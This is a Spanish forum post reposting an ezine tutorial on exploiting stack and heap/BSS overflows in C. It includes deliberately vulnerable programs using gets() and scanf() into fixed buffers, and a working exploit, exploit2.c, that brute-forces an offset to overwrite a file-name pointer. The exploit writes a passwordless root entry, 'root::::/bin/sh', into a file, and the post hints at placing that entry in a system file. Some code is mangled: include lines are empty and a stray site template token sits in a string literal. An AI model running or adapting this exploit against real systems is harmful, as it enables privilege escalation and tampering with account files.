Como explotar heap overflow

Iniciado por darkbouser, Julio 29, 2010, 09:19:43 PM

Tema anterior - Siguiente tema

0 Miembros y 1 Visitante están viendo este tema.

Julio 29, 2010, 09:19:43 PM Ultima modificación: Agosto 08, 2014, 08:31:08 PM por Expermicid
Empezamos...


Algo simple: overflows pa lerdos.
----------------------------------

Bueno, estamos delante de un ordenador que esta ejecutando un programa
y nos preguntamos "por que funciona este cacharro?". La verdad es que
explicar como hace lo que hace el procesador es un poco complejo (a mi me
llevo entenderlo 4 meses de una asignatura un pelin peñazo ;) pero podemos
hacer un resumen un poco tosco del mismo: tenemos un procesador que, como su
propio nombre indica, solo procesa los datos que estan en la memoria (o en
el disco duro, etc). "Y como sabe el procesador la forma en que tiene que
procesar un determinado dato?"; pues simplemente, los programas le dicen
mediante unos codigos binarios preprogramados cual es la siguiente instruccion
a ejecutar y con que datos debe hacerlo. "Y como sabe el procesador que lo que
esta procesando es un dato y no otra instruccion del programa que deberia
ejecutar?"; pues eso el procesador no lo sabe, y precisamente este hecho es lo
que vamos a aprovechar nosotros para nuestros maleficos fines.


Veamos, la memoria de un ordenador, como todos sabeis, es simplemente un
monton de registros en los que se puede almacenar 0 o 1's. No consiste en nada
mas que en eso. Por ejemplo, si tomamos una porcion muy pequeña de la memoria
y vemos lo que contiene, seguramente se parecera a esto:

Código: php
---------------------------------------------------------------------
...00101001001010101111010101010001011010100011101010101010101001....
---------------------------------------------------------------------


y a lo mejor lo que quiere significar toda esta serie de digitos es esto:
Código: php

---------------------------------------------------------------------
...00101001001010101111010101010001011010100011101010101010101001....
---------------------------------------------------------------------

instruccion | dato | dato | instruccion | instr...


Ya desde la epoca de los primeros ordenadores existia la idea de poner
una etiqueta (un bit mas) en cada conjunto de datos para diferenciar si el
conjunto en cuestion era una instruccion o un dato; pero en aquella epoca
poner un bit mas era bastante caro y los resultados de los programas se
harian mucho mas lentamente al procesar un bit mas. Ademas, Von Neumman
(un chavalote al que le debemos gran parte de los conceptos de los ordenadores
actuales) habia demostrado años atras que con una buena organizacion del
procesador y un acceso bien ordenado a la memoria, no hacia falta diferenciar
entre instrucciones y datos puesto que el procesador responderia a una
instruccion determinada y cogeria los datos que le indicaba la instruccion,
y como la instruccion siempre va a apuntar a una zona de memoria en la que
estan sus datos, pues no habia ningun problema.


Seguro que la instruccion siempre va a apuntar a una zona de memoria
donde van a estar sus datos? Bueno.... eso habria que discutirlo....
Vamos a ver el ejemplo mas tonto de stack overflow que existe. Tenemos una
variable (es decir, uno de los 'datos' de la instruccion) y ejecutamos algo
tan simple como el programilla este:

Código: php
......
main()
{
char dato[20];
....
scanf("%s",&dato);
....
}
....

y la memoria quedaria mas o menos asi (las x's representan instrucciones):

....xxxx|0000000000...0000000000|xxxxx......xxx|xxxxxxx......xxxxxxx|.....

^ ^
la variable datos[20] la instruccion scanf

pues nada, ya tenemos el juego listo. Lo normal es que el usuario,
cuando se le diga que meta el texto en cuestion para rellenar la variable
datos[20], meta menos de 20 caracteres y entonces no hay problema; pero el
problema aparece cuando le da por meter algunos mas. Resulta que el lenguaje
C no hace comprobacion de limites al ejecutar instrucciones como esas, entonces
lo que hace es simplmente seguir aceptando caracteres y guardandolos en
posiciones de memoria adyacentes a las de la variable dato[20], mas o menos
asi:

caso 1: el usuario es buena gente

Código: php
-----------------------------------------------------
.....|soy pepe000000000000|xxxxxxxxxxxxx...xxxx|.....
-----------------------------------------------------


caso 2: el usuario es un jaquerrr con ganas de hacer algo ilegal

Código: php
-----------------------------------------------------
.....|soy un megahax0r jaj|ajajajaxxxxxxxx...xx|.....
-----------------------------------------------------


Aqui vemos como se han sobreescrito los primeros bits de la instruccion
siguiente a datos[20]. Lo normal que ocurra en estos casos es que el
procesador, al intentar ejecutar esa instruccion que por supuesto no coincide
con ninguna valida, de un error y termine la ejecucion del programa.


Sin embargo, el truco consiste en sobreescribir la instruccion que sigue
a datos[20] para que sea algo que el procesador entienda. Lo mas usual es que
se sobreescriba con un salto hacia otra posicion de memoria donde hayamos
puesto antes una llamada a una shell para que, en vez de ejecutar la
instruccion, se ejecute una shell que nos daria acceso al sistema.
Graficamente:

Código: php
........................................................
................datos[20]saltoxxxxxxxx..................
........................................................
........................................................
........................................................
....shell

y terminariamos la ejecucion del programa con una flamante shell recien
invocada :).


Bueno, no me extiendo mas sobre el tema de en que consiste los overflows;
supongo que todos habeis captado la idea. Todo lo que he dicho hasta ahora
se refiere a los stacks overflows, de los que hay un montonazo de articulos
escritos tanto en castellano como en yanki-lengua, asi que si os interesa, solo
teneis que moveros por el mundo... (y tampoco mucho, este ezine trae de todo ;)


Heaps Overflows.
------------------

En los parrafos anteriores hemos visto la base de un stack overflow. No
es que sea muy complejo pero tiene ciertas curiosidades que hay que tener en
cuenta, como por ejemplo averiguar direcciones de retorno en las llamadas
a funciones y cosas asi (para saber mas, lo mejor es que os leais los
distintos artis publicados sobre el tema). Yo defiendo los heaps overflows
por su sencillez y su "pureza de lineas", como diria algun anuncio malo de
coches ;)

Por supuesto, para entender lo que es un Heap Overflow, lo primero que
hay que saber que es lo que es el Heap ;). Veamos, un programa tiene dos
formas de pedir al SO memoria para hacer su trabajo. Una de ellas es la
tipica, que hemos usado antes:

char datos[20]

con lo que el sistema asignaria una zona de memoria identificandola con el
nombre "datos" y de tamaño 20 bytes. Esta es la forma tradicional y
"estatica", es decir, que si en algun momento del programa necesitamos que en
la variable datos quepan 40 bytes, no podemos hacerlo.


La otra forma, y es la que nos interesa, es que el programa pida en tiempo
de ejecucion (la otra forma se denomina "en tiempo de compilacion") la memoria
que necesita, entonces el SO busca memoria libre y, si hay disponible, se la
da al programa. Usualmente esto se hace con:

Código: php
char *datos;
datos=(char *) malloc(TAMAÑO_DE_MEMORIA);


y el sistema devolveria en "datos" la zona de memoria asignada o, si no hay
libre, pondria datos a NULL. Aqui vemos que la variable "datos" ha dejado de
ser una variable en el sentido "clasico" de la palabra y pasa a ser un
puntero que, como su propio nombre indica, lo que hace es apuntar a la primera
de una serie de posiciones de memoria.


Alguien se debe estar preguntando ya "si un overflow consiste en
sobreescribir una zona de memoria, como va a ser el SO tan tonto como para
darnos acceso mediante malloc() a una zona de memoria que ya esta siendo
ocupada?". Pues muy sencillo: el SO no es tonto. Bueno, no del todo :). El SO
simplemente hace lo que nosotros le digamos dentro de unos limites, asi que
nunca nos va a dar posiciones que ya estan usadas, pero nada nos impide a
nosotros mismos movernos por esas posiciones. Lo que tenemos que tener en
cuenta es que, como C no hace la comprobacion de que estamos escribiendo en
la posicion de memoria que nos ha asignado el SO (si no comprueba limites en
las variables lo logico es que tampoco compruebe cosas como estas porque los
dos conceptos se basan en lo mismo: escribir en un sitio que no estaba
pensado para ti), siempre vamos a poder escribir en otra que sea
una posicion valida. Es decir, que si tenemos 2 zonas de memoria (no hace
falta que sean consecutivas) asignadas para dos variables, el SO nos va a
permitir escribir en la segunda usando la primera, y viceversa, por la sencilla
razon de que tanto la primera como la segunda apuntan a zonas de memoria que
has sido identificadas como "escribibles" por ese tipo de variables. Vamos a
verlo con un ejemplo que queda muy clarito:

Código: php
<++> heap/ejemplo1.c 92ca44fdc06aa8f1d800ecf7fe6309
/*
* el ejemplo mas simple posible de un overflow en la zona heap
*
* basado directamente en uno de w00w00
*
*/

#include
#include
#include

int main()
{
char *dato1, *dato2; /* nuestras variables */
unsigned long distancia; /* esta es la distancia real en memoria
que van a tener nuestras variables.
si estuvieran las 2 en zonas de memoria
consecutivas, la distancia seria 0 */

/* pedimos la asignacion de memoria. Vamos a pedir 40 bytes */
dato1=(char *) malloc(40);
dato2=(char *) malloc(40);

/* miramos a cuanta distancia estan */
distancia=(unsigned long) dato2 - (unsigned long) dato1;

/* ahora rellenamos dato2 con una cadena normal y corriente. memset()
lo unico q hace es rellenar la posicion de memoria q se le pasa
con un caracter */
memset(dato2,'P',40-1), dato2[40-1]='{jumi [*3] [http://www.govannom.org/seguridad/heap_overf/heap_overf_by_cafo.txt]}';
printf("antes de sobreescribir: %s\n",dato2);

/* sobreescribimos 20 bytes de dato2 usando la variable dato1 y la
distancia que los separa (por si acaso esta no es 0) */

memset(dato1,'*',(unsigned int)(distancia + 20));

/* comprobamos */
printf("despues de sobreescribir: %s\n",dato2);

return 0;
}
<-->


Pues ya lo tenemos, lo ejecutamos y vemos como el puntero dato1 sobreescribe
la zona que tiene asignada dato2; y el SO se lo permite por la sencilla razon
de que ambas zonas (la de dato2 y la que se 'supone' que tiene q usar
dato1) son del mismo tipo y estan inicializadas de la misma forma, y como
C no comprueba las direcciones pues es facil confundirlo para q piense que
dato1 se esta escribiendo en su sitio cuando en realidad estamos en la zona
de dato2.
Código: php

[...]
cafo@thehost:~/nets/heap$ ./ejemplo1
antes de sobreescribir: PPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPPP
despues de sobreescribir: ********************PPPPPPPPPPPPPPPPPPP
[...]


Entonces el concepto ha quedado bastante claro, no? Solamente necesitamos
un puntero que se encuentre en la zona heap que podamos manejar para poder
tener acceso a todos los demas punteros de esa zona.

Bueno, tanto rollo sobre la zona heap y todavia no he explicado lo que es ;)
Pues el Heap es simplemente una zona de memoria dinamica donde almacenar
variables por medio de la llamada a malloc(). Posiblemente los que habeis
leido algun libro sobre arquitectura de SO y demas, os suene la pareja
HEAP/BSS. El BSS (y juro que no he podido encontrar por ningun lado que es lo
que significan esas puñeteras siglas ;) es simplemente la zona de memoria
donde se encuentran las variables globales que no son inicializadas y las
declaradas como 'estaticas'. Por ejemplo, si queremos disponer de memoria sin
tener que inicializarla pero queremos que se comporte como el puntero que
usabamos antes, podemos escribir algo como esto:

static char dato1[40];

y seria el equivalente en la zona BSS a la llamada a malloc() que hicimos en
el programilla anterior.

Bueno, una vez llegados a este punto mas de uno se preguntara "Y esto para
que me sirve a mi?". Pues la verdad es que si te preguntas eso es que todavia
te falta coger bastante practica con eso de los exploits ;). Bueno, en serio.
Simplemente tienes que encontrar un codigo fuente (bastante usual en estos
tiempos de codigo abierto...) que use una de estas variables que he comentado
y que permita al usuario escribirla. La situacion tipica es que el
programador use uno de estos punteros para pedir datos al usuario.

Imaginad que tenemos un programa que lo unico que hace es escribir lo que
nosotros le digamos en un fichero que no podemos elegir. Algo como esto:
Código: php

<++> heap/ejemplo2.c $d102f90f44986e093acb7a01aef6d723
/*
* ejemplo2.c Muestra un programa vulnerable en la zona BSS
*/

#include

int main()
{
FILE *archivo;
static char dato1[16], *tmpfile;

tmpfile="/tmp/mama.txt"; /* ponemos un temporal cualquiera */
printf("antes del exploit: %s\n",tmpfile); /* para asegurarnos... */

printf("Datos a introducir en mama.txt: \n");
gets(dato1);

printf("\ndespues del exploit: %s\n",tmpfile);
archivo=fopen(tmpfile,"w");

fputs(dato1,archivo);
fclose(archivo);
}
<-->


Pues ya tenemos el programa en cuestion. A simple vista no es vulnerable
porque lo unico que se puede modificar "externamente" es lo que se escribe en
el archivo "mama.txt" asi que no tendriamos ningun problema con la seguridad
del sistema, verdad? Ojala fuera asi, porque podemos usar lo que dijimos antes
de sobreescribir punteros para que el programa hiciera ciertas cosas no
deseables, como sobreescribir archivos de sistema o cosas asi, y siempre
podremos encontrar ficheros que al sobreescribir sean utiles, no?

Pues el truco en este caso esta en que la variable donde se guarda el
nombre es un puntero mientras que donde nosotros guardamos los datos que
queremos meter en el archivo esta en la zona BSS, con lo que nos permite
jugar un poco con las direcciones. Lo unico que debemos hacer es empezar a
probar distintos acercamientos a "*tmpfile" desde "datos1" hasta que logremos
sobreescribir por completo la posicion de *tmpfile con la direccion de un
archivo que nos interese escribir. Veamoslo con un ejemplo:

Código: php
<++> heap/exploit2.c $cc2e106df958188984666213aa549c49
/* exploit para el programa ejemplo2.c
* el original sigue estando en w00w00 ;)
*/
#include
#include
#include
#include

#define BUFSIZE 256
#define ERROR -1

#define DIFF 16

#define VULPROG "./ejemplo2"
#define VULFILE "/tmp/mierdapami"

u_long getesp()
{
__asm__("movl %esp,%eax");
}

int main(int argc, char **argv)
{
u_long addr;

register int i;
int mainbufsize;

char *mainbuf, buf[DIFF+6+1] = "+ +\t# ";

memset(buf, 0, sizeof(buf)), strcpy(buf, "root::::/bin/sh\t #");

memset(buf + strlen(buf), 'A', DIFF);
addr = getesp() + atoi(argv[1]);

for (i = 0; i < sizeof(u_long); i++)
buf[DIFF + i] = ((u_long)addr >> (i * 8) & 255);

mainbufsize = strlen(buf) + strlen(VULPROG) +
strlen(VULPROG) + strlen(VULFILE) + 13;

mainbuf = (char *)malloc(mainbufsize);
memset(mainbuf, 0, sizeof(mainbuf));

snprintf(mainbuf, mainbufsize - 1, "echo '%s' | %s %s\n",
buf, VULPROG, VULFILE);


system(mainbuf);
return 0;
}
<-->


Pues nada, aqui tenemos que un programa aparentemente inocente como este,
es capaz de escribir lo que nosotros queramos en cualquier sitio donde
tengamos privilegios de escritura. Solamente tenemos que ir probando
distintos offsets hasta que sobreescribamos la ruta completa:

Código: php
[code][..]
cafo@thehost:~/nets/heap$ ./exploit2 500
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:

despues del exploit: G = spanish
[...]

ups, nos hemos ido a la zona de las variables de entorno (no decia yo que este
tipo de exploit puede ser realmente util? ;). Sigamos probando (esto mas o
menos es el juego del "hundir la flota" pero nosotros tenemos el truco de que
podemos probar millones de valores por minuto, no? :)

[...]
cafo@thehost:~/nets/heap$ ./exploit2 400
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:

despues del exploit: üÿ¿
[...]

Dish, nos hemos ido al codigo ejecutable. Demasiado bajo. Agua ;)

[...]
cafo@thehost:~/nets/heap$ ./exploit2 450
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:

despues del exploit: mplo2
[...]
[/code]

esto ya suena mejor. Es el nombre del programa vulnerable, asi que suponemos
que podemos estar en argv[0], no?. Agua todavia.

[...]
cafo@thehost:~/nets/heap$ ./exploit2 465
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:

despues del exploit: dapami
[...]

bueno bueno bueno, esto ya esta mucho mejor. Acabamos de encontrar nuestra
cadena apuntando al fichero que queremos sobreescribir. TOCADO!. Contando
con los dedos resulta que

[...]
Código: php
cafo@thehost:~/nets/heap$ ./exploit2 456
antes del exploit: /tmp/mama.txt
Datos a introducir en mama.txt:


despues del exploit:
Código: php
/tmp/mierdapami

[...]

HUNDIDO!!! Si todo ha salido bien, tenemos en nuestro directorio tmp ese
archivo con la info q nosotros queriamos que tuviese. Veamoslo:

[...]
Código: php
cafo@thehost:~/nets/heap$ cat /tmp/mierdapami
root::::/bin/sh
cafo@thehost:~/nets/heap

[...]

interesante, verdad? Que pena que esa misma linea no estuviera en otro sitio...
pero nada, como esto no es para que hagais cosas malas, os dejo que
investigues vosotros.

Hasta aqui todo ha salido muy bien. Por supuesto que por ahora solo hemos
estado con programas mios, es decir, que yo sabia al escribirlos que iban
a ser vulnerables. Lo siguiente seria averiguar que tipo de programas
pueden ser vulnerables o que tipo de variables son tipicamentes sobreescritas
por los exploits, pero eso lo dejaremos para la segunda parte del arti ;)

un saludete.

fuente diosdelared

Los codigos metelos en un code, te lo edito, y estate atento para la proxima, gracias.